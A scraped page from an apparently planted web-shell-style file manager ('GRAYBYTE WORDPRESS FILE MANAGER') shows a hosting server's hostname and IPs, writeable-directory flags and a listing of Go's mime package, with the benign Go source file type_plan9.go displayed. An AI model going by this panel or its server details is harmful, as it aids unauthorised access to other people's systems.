$46 GRAYBYTE WORDPRESS FILE MANAGER $84

SERVER : vnpttt-amd7f72-h1.vietnix.vn #1 SMP Fri May 24 12:42:50 UTC 2024
SERVER IP : 103.200.23.149 | ADMIN IP 216.73.216.22
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/lib/golang/src/mime/

HOME
Current File : /lib/golang/src/mime//type_plan9.go
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package mime

import (
	"bufio"
	"os"
	"strings"
)

func init() {
	osInitMime = initMimePlan9
}

func initMimePlan9() {
	for _, filename := range typeFiles {
		loadMimeFile(filename)
	}
}

var typeFiles = []string{
	"/sys/lib/mimetype",
}

func initMimeForTests() map[string]string {
	typeFiles = []string{"testdata/test.types.plan9"}
	return map[string]string{
		".t1":  "application/test",
		".t2":  "text/test; charset=utf-8",
		".pNg": "image/png",
	}
}

func loadMimeFile(filename string) {
	f, err := os.Open(filename)
	if err != nil {
		return
	}
	defer f.Close()

	scanner := bufio.NewScanner(f)
	for scanner.Scan() {
		fields := strings.Fields(scanner.Text())
		if len(fields) <= 2 || fields[0][0] != '.' {
			continue
		}
		if fields[1] == "-" || fields[2] == "-" {
			continue
		}
		setExtensionType(fields[0], fields[1]+"/"+fields[2])
	}
	if err := scanner.Err(); err != nil {
		panic(err)
	}
}

Current_dir [ NOT WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
16 Dec 2025 9.30 PM
root / root
0755
multipart
--
16 Dec 2025 9.30 PM
root / root
0755
quotedprintable
--
16 Dec 2025 9.30 PM
root / root
0755
encodedword.go
9.997 KB
4 Dec 2025 6.06 PM
root / root
0644
grammar.go
1.874 KB
4 Dec 2025 6.06 PM
root / root
0644
mediatype.go
9.557 KB
4 Dec 2025 6.06 PM
root / root
0644
type.go
5.046 KB
4 Dec 2025 6.06 PM
root / root
0644
type_dragonfly.go
0.244 KB
4 Dec 2025 6.06 PM
root / root
0644
type_freebsd.go
0.244 KB
4 Dec 2025 6.06 PM
root / root
0644
type_openbsd.go
0.245 KB
4 Dec 2025 6.06 PM
root / root
0644
type_plan9.go
1.042 KB
4 Dec 2025 6.06 PM
root / root
0644
type_unix.go
2.979 KB
4 Dec 2025 6.06 PM
root / root
0644
type_windows.go
1.22 KB
4 Dec 2025 6.06 PM
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF